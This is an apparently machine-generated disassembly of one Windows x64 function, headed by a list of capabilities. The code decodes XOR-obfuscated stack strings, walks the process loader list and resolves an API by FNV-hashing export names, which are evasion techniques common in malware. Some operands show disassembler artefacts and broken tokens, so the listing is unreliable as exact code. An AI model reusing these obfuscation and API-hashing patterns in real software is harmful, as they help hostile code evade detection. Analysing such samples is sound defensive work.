Function at 0x140043de0
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Get number of processors
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0xe00]
sub rsp, 0xf00
mov byte [rbp + 0xb], 0xc2
mov byte [rbp + 0xc], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xd], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xe], 0x9b
mov byte [rbp + 0xf], 0xa6
mov byte [rbp + 0x10], 0xaf
mov byte [rbp + 0x11], 0xa1
mov byte [rbp + 0x12], 0xed
mov byte [rbp + 0x13], 0x81
mov byte [rbp + 0x14], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x15], 0x80
mov byte [rbp + 0x16], Ordinal_143
mov byte [rbp + 0x17], 0x98
mov byte [rbp + 0x18], 0x98
mov byte [rbp + 0x19], 0x9e
mov byte [rbp + 0x1a], 0x9b
mov byte [rbp + 0x1b], __WSAFDIsSet
mov byte [rbp + 0x1c], 0x83
mov byte [rbp + 0x1d], 0x89
mov byte [rbp + 0x1e], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x1f], __WSAFDIsSet
mov byte [rbp + 0x20], 0xae
mov byte [rbp + 0x21], 0xa7
mov byte [rbp + 0x22], 0xaf
mov byte [rbp + 0x23], 0xbc
mov byte [rbp + 0x24], 0xba
mov byte [rbp + 0x25], 0xa8
mov byte [rbp + 0x26], 0x90
mov byte [rbp + 0x27], 0xbb
mov byte [rbp + 0x28], 0xb5
mov byte [rbp + 0x29], 0xa3
mov byte [rbp + 0x2a], 0xaa
mov byte [rbp + 0x2b], 0xbf
mov byte [rbp + 0x2c], 0xba
mov byte [rbp + 0x2d], 0x87
mov byte [rbp + 0x2e], 0xbe
mov byte [rbp + 0x2f], 0x93
mov byte [rbp + 0x30], 0xb7
mov byte [rbp + 0x31], 0xa6
mov byte [rbp + 0x32], 0x82
mov byte [rbp + 0x33], 0x87
mov byte [rbp + 0x34], 0x90
mov byte [rbp + 0x35], 0x9e
mov byte [rbp + 0x36], Ordinal_143
mov byte [rbp + 0x37], 0x88
mov byte [rbp + 0x38], 0xb7
mov byte [rbp + 0x39], 0xa4
mov byte [rbp + 0x3a], 0x87
mov byte [rbp + 0x3b], Ordinal_143
mov byte [rbp + 0x3c], __WSAFDIsSet
mov byte [rbp + 0x3d], 0x91
mov byte [rbp + 0x3e], 0x9f
mov byte [rbp + 0x3f], 0x92
mov byte [rbp + 0x40], 0x89
mov byte [rbp + 0x41], 0xbb
mov byte [rbp + 0x42], 0x9c
mov byte [rbp + 0x43], __WSAFDIsSet
mov byte [rbp + 0x44], 0x91
mov byte [rbp + 0x45], 0xa0
mov byte [rbp + 0x46], 0xb2
mov byte [rbp + 0x47], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x48], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x49], 0x9e
mov byte [rbp + 0x4a], Ordinal_143
mov byte [rbp + 0x4b], __WSAFDIsSet
mov byte [rbp + 0x4c], 0xb5
mov byte [rbp + 0x4d], 0x9b
mov byte [rbp + 0x4e], __WSAFDIsSet
mov byte [rbp + 0x4f], 0x77
mov byte [rbp + 0x50], 0x7e
mov byte [rbp + 0x51], WSACleanup
mov byte [rbp + 0x52], 0x68
mov byte [rbp + 0x53], 0x7b
mov byte [rbp + 0x54], 0x4a
mov byte [rbp + 0x55], WSASetLastError
mov byte [rbp + 0x56], WSASetLastError
mov byte [rbp + 0x57], 0x61
mov byte [rbp + 0x58], Ordinal_45
mov byte [rbp + 0x59], Ordinal_41
mov byte [rbp + 0x5a], 0x7e
mov byte [rbp + 0x5b], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x5c], 0x45
xor esi, esi
mov byte [rbp + 0x5d], 0x6b
movabs r11, 0x3d2c4a1de7a74abc
mov byte [rbp + 0x5e], 0x66
mov r10, r11
mov byte [rbp + 0x5f], 0x67
mov r9d, esi
mov byte [rbp + 0x60], WSASetLastError
lea r12d, [rsi + 0xf]
mov byte [rbp + 0x61], 0x61
mov byte [rbp + 0x62], 0x78
mov byte [rbp + 0x63], 0x6b
mov byte [rbp + 0x64], 0x5a
mov byte [rbp + 0x65], 0x7d
mov byte [rbp + 0x66], 0x7e
mov byte [rbp + 0x67], WSACleanup
mov byte [rbp + 0x68], Ordinal_60
mov byte [rbp + 0x69], gethostname
mov byte [rbp + 0x6a], WSAGetLastError
mov byte [rbp + 0x6b], Ordinal_50
mov byte [rbp + 0x6c], 0x44
mov byte [rbp + 0x6d], 0x51
mov byte [rbp + 0x6e], 0x5c
mov byte [rbp + 0x6f], 0x78
mov byte [rbp + 0x70], 0x78
mov byte [rbp + 0x71], 0x7f
mov byte [rbp + 0x72], reloc.WS2_32.dll_listen
mov byte [rbp + 0x73], 6
mov byte [rbp + 0x74], 0x40
mov byte [rbp + 0x75], ntohl
mov byte [rbp + 0x76], 6
mov byte [rbp + 0x77], 0x56
mov byte [rbp + 0x78], 0x4a
mov byte [rbp + 0x79], 0x49
mov byte [rbp + 0x7a], Ordinal_79
mov byte [rbp + 0x7b], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7c], 0x4b
mov byte [rbp + 0x7d], 1
mov byte [rbp + 0x7e], ntohl
mov byte [rbp + 0x7f], Ordinal_26
mov byte [rbp + 0x80], 0x5d
mov byte [rbp + 0x81], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x82], 3
mov byte [rbp + 0x83], 0x57
mov byte [rbp + 0x84], 0x41
mov byte [rbp + 0x85], 0x50
mov byte [rbp + 0x86], reloc.WS2_32.dll_send
mov byte [rbp + 0x87], 6
mov byte [rbp + 0x88], 5
mov byte [rbp + 0x89], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x8a], 9
mov byte [rbp + 0x8b], Ordinal_50
movzx eax, byte [rbp + 0xb]
lea rax, [rbp + 0xb]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0xb]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0xb], al
inc r9
cmp r9, 0x81
jb 0x140044060
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140044127
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140044127
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140044122
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140044100
cmp r8d, 0x491e0a9c
je 0x14004412c
test r9d, r9d
jne 0x1400440e0
mov rax, qword [rax]
jmp 0x1400440b0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0xb]
add rdx, r10
call rdx
mov byte [rbp + 0xb1c], reloc.WS2_32.dll_select
mov byte [rbp + 0xb1d], 2
mov byte [rbp + 0xb1e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb1f], 0x41
mov byte [rbp + 0xb20], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb21], 6
mov byte [rbp + 0xb22], 2
mov byte [rbp + 0xb23], 0x47
mov byte [rbp + 0xb24], Ordinal_35
mov byte [rbp + 0xb25], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xb26], Ordinal_41
mov byte [rbp + 0xb27], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xb28], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb29], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xb2a], Ordinal_50
mov byte [rbp + 0xb2b], Ordinal_60
mov byte [rbp + 0xb2c], Ordinal_41
mov byte [rbp + 0xb2d], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xb2e], Ordinal_60
mov byte [rbp + 0xb2f], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xb30], 0x3f
mov byte [rbp + 0xb31], 7
mov byte [rbp + 0xb32], 4
mov byte [rbp + 0xb33], 5
mov byte [rbp + 0xb34], Ordinal_32
mov byte [rbp + 0xb35], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xb36], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0xb37], Ordinal_50
mov byte [rbp + 0xb38], Ordinal_32
mov byte [rbp + 0xb39], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xb3a], ntohl
mov byte [rbp + ntohl3b], 0xb
mov byte [rbp + 0xb3c], 0xef
mov byte [rbp + 0xb3d], 0xeb
mov byte [rbp + 0xb3e], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xb3f], 0xe4
mov byte [rbp + 0xb40], 0xf8
mov byte [rbp + 0xb41], 0xde
mov byte [rbp + 0xb42], Ordinal_200
mov byte [rbp + 0xb43], 0xe8
mov byte [rbp + 0xb44], 0xe4
mov byte [rbp + 0xb45], 0xf1
mov byte [rbp + 0xb46], 0xf8
mov byte [rbp + 0xb47], 0xec
mov byte [rbp + 0xb48], 0xec
mov byte [rbp + 0xb49], Ordinal_217
mov byte [rbp + 0xb4a], 0xdb
mov byte [rbp + 0xb4b], 0xf0
mov byte [rbp + 0xb4c], 0xe3
mov byte [rbp + 0xb4d], 0xe3
mov byte [rbp + 0xb4e], 0xff
mov byte [rbp + 0xb4f], 0xfc
mov byte [rbp + 0xb50], Ordinal_217
mov byte [rbp + 0xb51], 0xfc
mov byte [rbp + 0xb52], 0xf0
mov byte [rbp + 0xb53], 0xf8
mov byte [rbp + 0xb54], 0xe8
mov byte [rbp + 0xb55], 0xf8
mov byte [rbp + 0xb56], 0xfb
mov byte [rbp + 0xb57], 0xe7
mov byte [rbp + 0xb58], 0xf9
mov byte [rbp + 0xb59], 0xf5
mov byte [rbp + 0xb5a], 0xf6
mov byte [rbp + 0xb5b], 0xb9
mov byte [rbp + 0xb5c], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb5d], Ordinal_211
mov byte [rbp + 0xb5e], Ordinal_143
mov byte [rbp + 0xb5f], 0xe2
mov byte [rbp + 0xb60], Ordinal_200
mov byte [rbp + 0xb61], Ordinal_211
mov byte [rbp + 0xb62], Ordinal_217
mov byte [rbp + 0xb63], Ordinal_211
mov byte [rbp + 0xb64], 0xde
mov byte [rbp + 0xb65], 0xc0
mov byte [rbp + 0xb66], Ordinal_217
mov byte [rbp + 0xb67], 0xeb
mov byte [rbp + 0xb68], 0xc1
mov byte [rbp + 0xb69], Ordinal_217
mov byte [rbp + 0xb6a], 0xcc
mov byte [rbp + 0xb6b], 0xde
mov byte [rbp + 0xb6c], Ordinal_211
mov byte [rbp + 0xb6d], Ordinal_200
mov byte [rbp + 0xb6e], 0xdf
mov byte [rbp + 0xb6f], 0xf8
mov byte [rbp + 0xb70], Ordinal_217
mov byte [rbp + 0xb71], __WSAFDIsSet
mov byte [rbp + 0xb72], 0x99
mov byte [rbp + 0xb73], Ordinal_200
mov byte [rbp + 0xb74], 0x9a
mov byte [rbp + 0xb75], 0xe7
mov byte [rbp + 0xb76], 0xff
mov byte [rbp + 0xb77], 0xf4
mov byte [rbp + 0xb78], 0xef
mov byte [rbp + 0xb79], 0xe9
mov byte [rbp + 0xb7a], 0xe2
mov byte [rbp + 0xb7b], 0x99
mov byte [rbp + 0xb7c], 0xef
mov byte [rbp + 0xb7d], 0xa3
mov byte [rbp + 0xb7e], 0xea
mov byte [rbp + 0xb7f], 0xba
mov byte [rbp + 0xb80], 0xe9
mov byte [rbp + 0xb81], 0xb0
mov byte [rbp + 0xb82], 0xa7
mov byte [rbp + 0xb83], 0xa9
mov byte [rbp + 0xb84], 0xae
mov byte [rbp + 0xb85], 0xaa
mov byte [rbp + 0xb86], 0xa7
mov byte [rbp + 0xb87], 0xe6
mov byte [rbp + 0xb88], 0xe5
mov byte [rbp + 0xb89], 0xb8
mov byte [rbp + 0xb8a], 0xa9
mov byte [rbp + 0xb8b], 0xa7
mov byte [rbp + 0xb8c], 0xb4
mov byte [rbp + 0xb8d], 0xb8
mov byte [rbp + 0xb8e], 0xb7
mov byte [rbp + 0xb8f], 0xf4
mov byte [rbp + 0xb90], 0xf1
mov byte [rbp + 0xb91], 0xf7
mov byte [rbp + 0xb92], 0xa4
mov byte [rbp + 0xb93], 0xb6
mov byte [rbp + 0xb94], 0xb4
mov byte [rbp + 0xb95], 0xb1
mov byte [rbp + 0xb96], 0xb5
mov byte [rbp + 0xb97], 0xbe
mov byte [rbp + 0xb98], 0xf5
mov byte [rbp + 0xb99], 0xf7
mov byte [rbp + 0xb9a], 0xfd
mov byte [rbp + 0xb9b], 0xab
mov byte [rbp + 0xb9c], 0x81
mov byte [rbp + 0xb9d], Ordinal_143
mov byte [rbp + 0xb9e], Ordinal_143
mov byte [rbp + 0xb9f], Ordinal_143
mov byte [rbp + 0xba0], 0x81
mov byte [rbp + 0xba1], Ordinal_200
mov byte [rbp + 0xba2], 0xcb
mov byte [rbp + 0xba3], Ordinal_200
mov byte [rbp + 0xba4], 0x98
mov byte [rbp + 0xba5], 0x84
mov byte [rbp + 0xba6], 0x84
mov byte [rbp + 0xba7], 0x87
mov byte [rbp + 0xba8], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xba9], 0x87
mov byte [rbp + 0xbaa], Ordinal_211
mov byte [rbp + 0xbab], Ordinal_200
mov byte [rbp + 0xbac], Ordinal_217
mov byte [rbp + 0xbad], 0x85
mov byte [rbp + 0xbae], 0x9b
mov byte [rbp + 0xbaf], 0x9f
mov byte [rbp + 0xbb0], 0x98
mov byte [rbp + 0xbb1], 0x9d
mov byte [rbp + 0xbb2], 0x9b
mov byte [rbp + 0xbb3], Ordinal_211
mov byte [rbp + 0xbb4], 0xdf
mov byte [rbp + 0xbb5], 0x87
movabs r11, 0x667c80c200782860
mov byte [rbp + 0xbb6], 0x9b
mov r10, r11
mov byte [rbp + 0xbb7], 0x9d
mov r9, rsi
mov byte [rbp + 0xbb8], __WSAFDIsSet
mov byte [rbp + 0xbb9], __WSAFDIsSet
mov byte [rbp + 0xbba], __WSAFDIsSet
mov byte [rbp + 0xbbb], 0xdc
mov byte [rbp + 0xbbc], 0x7d
mov byte [rbp + 0xbbd], Ordinal_45
mov byte [rbp + 0xbbe], Ordinal_41
mov byte [rbp + 0xbbf], 0x67
mov byte [rbp + 0xbc0], Ordinal_45
mov byte [rbp + 0xbc1], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xbc2], 0x68
mov byte [rbp + 0xbc3], WSACleanup
mov byte [rbp + 0xbc4], 0x66
mov byte [rbp + 0xbc5], Ordinal_41
mov byte [rbp + 0xbc6], Ordinal_60
mov byte [rbp + 0xbc7], 0x3d
mov byte [rbp + 0xbc8], Ordinal_41
mov byte [rbp + 0xbc9], Ordinal_60
mov byte [rbp + 0xbca], 8
movzx eax, byte [rbp + 0xb1c]
lea rax, [rbp + 0xb1c]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0xb1c]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0xb1c], al
inc r9
cmp r9, 0xaf
jb 0x140044640
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140044717
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140044717
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140044712
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400446f0
cmp r8d, 0x491e0a9c
je 0x14004471c
test r9d, r9d
jne 0x1400446d0
mov rax, qword [rax]
jmp 0x1400446a0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0xb1c]
add rdx, r10
call rdx
mov byte [rbp + 0xbcb], WSACleanup
mov byte [rbp + 0xbcc], WSASetLastError
mov byte [rbp + 0xbcd], 0x75
mov byte [rbp + 0xbce], Ordinal_60
mov byte [rbp + 0xbcf], 0x7b
mov byte [rbp + 0xbd0], 0x79
mov byte [rbp + 0xbd1], 0x75
mov byte [rbp + 0xbd2], Ordinal_60
mov byte [rbp + 0xbd3], 0x59
mov byte [rbp + 0xbd4], 0x5a
mov byte [rbp + 0xbd5], 0x5d
mov byte [rbp + 0xbd6], 0x57
mov byte [rbp + 0xbd7], 0x44
mov byte [rbp + 0xbd8], 0x44
mov byte [rbp + 0xbd9], 0x48
mov byte [rbp + 0xbda], Ordinal_79
mov byte [rbp + 0xbdb], 0x44
mov byte [rbp + 0xbdc], 0x5a
mov byte [rbp + 0xbdd], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xbde], 0x7b
mov byte [rbp + 0xbdf], WSAGetLastError
mov byte [rbp + 0xbe0], 0x58
mov byte [rbp + 0xbe1], 0x53
mov byte [rbp + 0xbe2], 0x54
mov byte [rbp + 0xbe3], 0x44
mov byte [rbp + 0xbe4], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xbe5], 0x55
mov byte [rbp + 0xbe6], WSAGetLastError
mov byte [rbp + 0xbe7], 0x47
mov byte [rbp + 0xbe8], Ordinal_79
mov byte [rbp + 0xbe9], 0x55
mov byte [rbp + 0xbea], 0x5b
mov byte [rbp + 0xbeb], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xbec], 0x43
mov byte [rbp + 0xbed], 0x61
mov byte [rbp + 0xbee], 0x52
mov byte [rbp + 0xbef], Ordinal_79
mov byte [rbp + 0xbf0], 0x61
mov byte [rbp + 0xbf1], WSACleanup
mov byte [rbp + 0xbf2], 0x59
mov byte [rbp + 0xbf3], 0x5f
mov byte [rbp + 0xbf4], 0x45
mov byte [rbp + 0xbf5], 0x43
mov byte [rbp + 0xbf6], 0x55
mov byte [rbp + 0xbf7], 0x54
mov byte [rbp + 0xbf8], WSASetLastError
mov byte [rbp + 0xbf9], 0x62
mov byte [rbp + 0xbfa], 0x40
mov byte [rbp + 0xbfb], 0x43
mov byte [rbp + 0xbfc], Ordinal_79
mov byte [rbp + 0xbfd], Ordinal_45
mov byte [rbp + 0xbfe], Ordinal_45
mov byte [rbp + 0xbff], 3
mov byte [rbp + 0xc00], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xc01], Ordinal_45
mov byte [rbp + 0xc02], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xc03], gethostname
mov byte [rbp + 0xc04], Ordinal_45
mov byte [rbp + 0xc05], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xc06], 0x3e
mov byte [rbp + 0xc07], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xc08], Ordinal_45
mov byte [rbp + 0xc09], Ordinal_50
mov byte [rbp + 0xc0a], WSAGetLastError
mov byte [rbp + 0xc0b], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xc0c], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xc0d], WSACleanup
mov byte [rbp + 0xc0e], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xc0f], gethostname
mov byte [rbp + 0xc10], Ordinal_50
mov byte [rbp + 0xc11], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xc12], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xc13], Ordinal_41
mov byte [rbp + 0xc14], gethostname
mov byte [rbp + 0xc15], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xc16], reloc.WS2_32.dll_select
mov byte [rbp + 0xc17], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xc18], Ordinal_41
mov byte [rbp + 0xc19], gethostname
mov byte [rbp + 0xc1a], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xc1b], Ordinal_50
mov byte [rbp + 0xc1c], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xc1d], 7
mov byte [rbp + 0xc1e], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xc1f], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0xc20], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xc21], 0x41
mov byte [rbp + 0xc22], Ordinal_79
mov byte [rbp + 0xc23], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc24], 0x41
mov byte [rbp + 0xc25], gethostname
mov byte [rbp + 0xc26], Ordinal_50
mov byte [rbp + 0xc27], Ordinal_50
mov byte [rbp + 0xc28], Ordinal_60
mov byte [rbp + 0xc29], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xc2a], gethostname
mov byte [rbp + 0xc2b], 0x40
mov byte [rbp + 0xc2c], 0x40
mov byte [rbp + 0xc2d], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xc2e], 0x57
mov byte [rbp + 0xc2f], 1
mov byte [rbp + 0xc30], 0x58
mov byte [rbp + 0xc31], 3
mov byte [rbp + 0xc32], reloc.WS2_32.dll_socket
mov byte [rbp + 0xc33], Ordinal_32
mov byte [rbp + 0xc34], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc35], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xc36], reloc.WS2_32.dll_socket
mov byte [rbp + 0xc37], 0x5d
mov byte [rbp + 0xc38], 0x52
mov byte [rbp + 0xc39], 3
mov byte [rbp + 0xc3a], Ordinal_26
mov byte [rbp + 0xc3b], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xc3c], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xc3d], 0xed
mov byte [rbp + 0xc3e], 0xea
mov byte [rbp + 0xc3f], 0xaf
mov byte [rbp + 0xc40], 0xa0
mov byte [rbp + 0xc41], 0xa4
mov byte [rbp + 0xc42], 0xf4
mov byte [rbp + 0xc43], 0xe0
mov byte [rbp + 0xc44], 0xef
mov byte [rbp + 0xc45], 0xe5
mov byte [rbp + 0xc46], 0xe5
mov byte [rbp + 0xc47], 0xe5
mov byte [rbp + 0xc48], 0xa2
mov byte [rbp + 0xc49], 0xac
mov byte [rbp + 0xc4a], 0xac
mov byte [rbp + 0xc4b], 0xf2
mov byte [rbp + 0xc4c], 0xee
mov byte [rbp + 0xc4d], 0xfc
mov byte [rbp + 0xc4e], 0xf3
mov byte [rbp + 0xc4f], 0xf5
mov byte [rbp + 0xc50], 0xf0
mov byte [rbp + 0xc51], 0xb4
mov byte [rbp + 0xc52], 0xbb
mov byte [rbp + 0xc53], 0xb4
mov byte [rbp + 0xc54], 0xe3
mov byte [rbp + 0xc55], 0xf0
mov byte [rbp + 0xc56], 0xf4
mov byte [rbp + 0xc57], 0xfc
mov byte [rbp + 0xc58], 0xf8
mov byte [rbp + 0xc59], 0xfc
mov byte [rbp + 0xc5a], 0xbc
mov byte [rbp + 0xc5b], 0xbd
mov byte [rbp + 0xc5c], 0xba
mov byte [rbp + 0xc5d], Ordinal_211
mov byte [rbp + 0xc5e], Ordinal_200
mov byte [rbp + 0xc5f], Ordinal_200
mov byte [rbp + 0xc60], 0xc9
mov byte [rbp + 0xc61], Ordinal_211
mov byte [rbp + 0xc62], 0xcb
mov byte [rbp + 0xc63], 0x84
mov byte [rbp + 0xc64], 0x84
movabs r11, 0x4dc2396735e8620e
mov byte [rbp + 0xc65], reloc.WLDAP32.dll_Ordinal_211
mov r10, r11
mov byte [rbp + 0xc66], 0xcb
mov r9, rsi
mov byte [rbp + Ordinal_2007], 0xc6
mov byte [rbp + 0xc68], Ordinal_200
mov byte [rbp + 0xc69], Ordinal_211
mov byte [rbp + 0xc6a], Ordinal_200
mov byte [rbp + 0xc6b], 0x85
mov byte [rbp + 0xc6c], Ordinal_211
mov byte [rbp + 0xc6d], __WSAFDIsSet
mov byte [rbp + 0xc6e], 0x98
mov byte [rbp + 0xc6f], 0xdc
mov byte [rbp + 0xc70], 0x9d
mov byte [rbp + 0xc71], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xc72], Ordinal_217
mov byte [rbp + 0xc73], Ordinal_200
mov byte [rbp + 0xc74], 0xdd
mov byte [rbp + 0xc75], __WSAFDIsSet
mov byte [rbp + 0xc76], 0x88
mov byte [rbp + 0xc77], 0x86
mov byte [rbp + 0xc78], __WSAFDIsSet
mov byte [rbp + 0xc79], 0x80
mov byte [rbp + 0xc7a], 0xb9
movzx eax, byte [rbp + 0xbcb]
lea rax, [rbp + 0xbcb]
sub r10, rax
nop dword [rax]
mov rcx, r9
lea rdx, [rbp + 0xbcb]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0xbcb], al
inc r9
cmp r9, 0xb0
jb 0x140044c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140044d07
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140044d07
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140044d02
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140044ce0
cmp r8d, 0x491e0a9c
je 0x140044d0c
test r9d, r9d
jne 0x140044cc0
mov rax, qword [rax]
jmp 0x140044c90
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0xbcb]
add rdx, r10
call rdx
mov byte [rbp + 0x1a0], 0xb2
mov byte [rbp + 0x1a1], 0xae
mov byte [rbp + 0x1a2], 0xa0
mov byte [rbp + 0x1a3], 0xe2
mov byte [rbp + 0x1a4], 0xab
mov byte [rbp + 0x1a5], 0xa5
mov byte [rbp + 0x1a6], 0xa4
mov byte [rbp + 0x1a7], 0xef
mov byte [rbp + 0x1a8], 0x88
mov byte [rbp + 0x1a9], 0x86
mov byte [rbp + 0x1aa], __WSAFDIsSet
mov byte [rbp + 0x1ab], 0x9e
mov byte [rbp + 0x1ac], 0x85
mov byte [rbp + 0x1ad], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x1ae], 0x9e
mov byte [rbp + 0x1af], 0x9d
mov byte [rbp + 0x1b0], 0x84
mov byte [rbp + 0x1b1], Ordinal_143
mov byte [rbp + 0x1b2], __WSAFDIsSet
mov byte [rbp + 0x1b3], 0x80
mov byte [rbp + 0x1b4], 0x9f
mov byte [rbp + 0x1b5], Ordinal_143
mov byte [rbp + 0x1b6], 0x9d
mov byte [rbp + 0x1b7], 0xb6
mov byte [rbp + 0x1b8], 0xb3
mov byte [rbp + 0x1b9], 0xaf
mov byte [rbp + 0x1ba], 0x86
mov byte [rbp + 0x1bb], 0x90
mov byte [rbp + 0x1bc], 0x86
mov byte [rbp + 0x1bd], Ordinal_143
mov byte [rbp + 0x1be], __WSAFDIsSet
mov byte [rbp + 0x1bf], 0xb7
mov byte [rbp + 0x1c0], 0xb3
mov byte [rbp + 0x1c1], 0xba
mov byte [rbp + 0x1c2], 0xaa
mov byte [rbp + 0x1c3], 0xa1
mov byte [rbp + 0x1c4], 0x86
mov byte [rbp + 0x1c5], 0x88
mov byte [rbp + 0x1c6], 0x85
mov byte [rbp + 0x1c7], 0x81
mov byte [rbp + 0x1c8], __WSAFDIsSet
mov byte [rbp + 0x1c9], Ordinal_211
mov byte [rbp + 0x1ca], Ordinal_217
mov byte [rbp + 0x1cb], 0x85
